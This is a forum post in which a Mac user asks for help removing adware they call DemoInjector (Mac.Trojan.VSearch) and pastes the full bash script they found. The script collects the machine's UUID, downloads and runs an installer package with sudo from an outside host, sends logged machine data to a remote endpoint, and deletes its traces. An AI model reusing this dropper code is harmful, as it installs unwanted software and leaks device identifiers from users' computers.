Removing DemoInjector (Mac.Trojan.VSearch)
Hi,
I see below script in root path (named /file) and assume I have accidently installed the DemoInjector (Mac.Trojan.VSearch).
-------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ---------------------
#!/bin/bash
# ioreg -l | grep -e Manufacturer -e 'Vendor Name'
updFile="/var/tmp/updText.txt"
updFileError="/var/tmp/updTextError.txt"
chmod 777 $updFile;
chmod 777 $updFileError;
echo > $updFile
echo > $updFileError
br_mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')
midFile=$(find /System/Library/Frameworks -type f -name "*.uuid.plist" -print0 | xargs -0 ls -tl | sort -n | tail -1 | awk '{print $9}')
if [ -e "$midFile" ]; then
mid=$(echo "$midFile" | python -c 'import sys;print open(sys.stdin.read().rstrip(), "r").read().split("<string>")[1].split("</string>")[0]')
echo "mid: $mid." >> $updFile
fi
get_pd_client_data="http://93a555685cc7443a8e1034efa1f18924.com/v/cld?mid=$br_mid&ct=pd"
data=$(curl -s "$get_pd_client_data")
dc=""
channel=$(echo $dc | tr -d '[[:space:]]' | tr -cd 0-9)
pdChannel=${dc:2}
echo "DC: $dc" >> $updFile
click_id="0"
echo "CLICK_ID: $click_id" >> $updFile
click_stamp=""
echo "CLICK_STAMP: $click_stamp" >> $updFile
id=$dc"--"$click_id"___"$click_stamp"___"$br_mid
echo "Full ID: $id" >> $updFile
domain=""http://aa81bf391151884adfa3dd677e41f94be1.com""
pop_url="'http://aa81bf391151884adfa3dd677e41f94be1.com/pp/fd?re=1&uid=[MACHINE_ID]&u=[CON TEXT_URL]'"
pop_delay="1"
if [ $midFile ]; then
frm=$(echo $midFile | tail -1 | awk -F "/" '{print $5}' | awk -F "." '{print $1}')
fi
mid_proc=false
if [ $frm ];then
if ps -ef | grep -v grep | grep -q $frm; then
mid_proc=true
fi
fi
echo "midFile: $midFile." >> $updFile
echo "frm: $frm" >> $updFile
echo "mid_proc: $mid_proc" >> $updFile
pInj () {
tmpfile="/var/tmp/dit7.tgz"
filePath="/var/tmp/DemoInjector10042016"
/usr/bin/curl -s -L -o $tmpfile "http://pullmenow.com/pd_files/dit7.tgz" #Vipul - this is from where it download
sleep 10
tar -xzf $tmpfile -C /var/tmp/
sleep 5
sudo chmod 777 $filePath/install_Injector.sh
echo sudo $filePath/install_Injector.sh A$pdChannel $click_id $domain >> $updFile
sudo $filePath/install_Injector.sh A$pdChannel $click_id $domain
sleep 30
rm -rf $tmpfile
rm -rf $filePath
}
shouldPDInj="1"
echo $shouldPDInj
if [[ $mid_proc = false && "$shouldPDInj" == "1" ]]; then
echo "vs_inj_no_mid" >> $updFile
echo "Installing pInj with logger" >> $updFile
pInj &> $updFileError;
sleep 10
echo $(</var/tmp/updTextError.txt) >> $updFile
else
echo "vs_inj_mid: $mid" >> $updFile
fi
eventType="Update Script Output"
sleep 30
curl --request POST 'http://93a555685cc7443a8e1034efa1f18924.com/v/pd-logger' --data "vs_mid=$mid" --data "br_mid=$br_mid" --data-urlencode "event_type=$eventType" --data-urlencode "event_data=$(<$updFile)"
sleep 5
rm -rf $updFile
rm -rf /var/tmp/updText2.txt
rm -rf $updFileError
-------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ---------------------
Also see below two in /etc/passwd
_clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false
_amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false
I have renamed /file to /file.txt and rebooted.
I am familiar with unix but new to Mac.
Need advise how to remove.
Thanks,
-Vipul.
MacBook Pro (Retina, 15-inch, Mid 2015), OS X El Capitan (10.11.4)
